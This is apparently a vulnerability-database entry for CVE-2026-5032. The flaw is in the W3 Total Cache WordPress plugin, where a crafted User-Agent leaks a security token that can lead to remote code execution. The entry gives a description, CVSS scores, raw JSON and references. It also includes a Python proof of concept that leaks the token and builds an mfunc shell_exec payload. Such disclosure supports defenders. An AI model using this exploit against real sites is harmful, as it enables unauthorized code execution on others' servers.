Security Vulnerability Report
中文
CVE-2026-5032 CVSS 7.5 HIGH

CVE-2026-5032

Published: 2026-04-02 08:16:28
Last Modified: 2026-04-27 19:04:23

Description

The W3 Total Cache plugin for WordPress is vulnerable to information exposure in all versions up to, and including, 2.9.3. This is due to the plugin bypassing its entire output buffering and processing pipeline when the request's User-Agent header contains "W3 Total Cache", which causes raw mfunc/mclude dynamic fragment HTML comments — including the W3TC_DYNAMIC_SECURITY security token — to be rendered in the page source. This makes it possible for unauthenticated attackers to discover the value of the W3TC_DYNAMIC_SECURITY constant by sending a crafted User-Agent header to any page that contains developer-placed dynamic fragment tags, granted the site has the fragment caching feature enabled. With the leaked W3TC_DYNAMIC_SECURITY token, an attacker can craft valid mfunc tags to execute arbitrary PHP code on the server, achieving remote code execution.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

W3 Total Cache <= 2.9.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://example.com" # Replace with target URL # Step 1: Exploit Information Disclosure # The vulnerability leaks the W3TC_DYNAMIC_SECURITY token when User-Agent is "W3 Total Cache" headers = { "User-Agent": "W3 Total Cache" } print("[+] Sending request with crafted User-Agent to leak token...") response = requests.get(target_url, headers=headers) # Check if the W3TC_DYNAMIC_SECURITY constant is exposed in the source if "W3TC_DYNAMIC_SECURITY" in response.text: print("[+] Potential token leakage detected in response body.") print("[!] Analyze response.text to extract the exact token value.") # Step 2: Remote Code Execution (Conceptual) # Using the leaked token to execute PHP code via mfunc tags # This requires a page that processes dynamic fragments leaked_token = "LEAKED_TOKEN_VALUE" payload = f"<!--mfunc {leaked_token} echo shell_exec('whoami'); --><!--/mfunc-->" # In a real attack, this payload would be sent to a cached page endpoint # potentially via cookies or parameters that influence the cache key print(f"[+] Conceptual RCE Payload: {payload}") else: print("[-] Token not found. Target may not be vulnerable or fragments not in use.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5032", "sourceIdentifier": "[email protected]", "published": "2026-04-02T08:16:28.493", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The W3 Total Cache plugin for WordPress is vulnerable to information exposure in all versions up to, and including, 2.9.3. This is due to the plugin bypassing its entire output buffering and processing pipeline when the request's User-Agent header contains \"W3 Total Cache\", which causes raw mfunc/mclude dynamic fragment HTML comments — including the W3TC_DYNAMIC_SECURITY security token — to be rendered in the page source. This makes it possible for unauthenticated attackers to discover the value of the W3TC_DYNAMIC_SECURITY constant by sending a crafted User-Agent header to any page that contains developer-placed dynamic fragment tags, granted the site has the fragment caching feature enabled. With the leaked W3TC_DYNAMIC_SECURITY token, an attacker can craft valid mfunc tags to execute arbitrary PHP code on the server, achieving remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.3/Generic_Plugin.php#L1016", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3495959/w3-total-cache", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a65eb62d-847b-4f3a-848b-1290e3118c01?source=cve", "source": "[email protected]"}]}}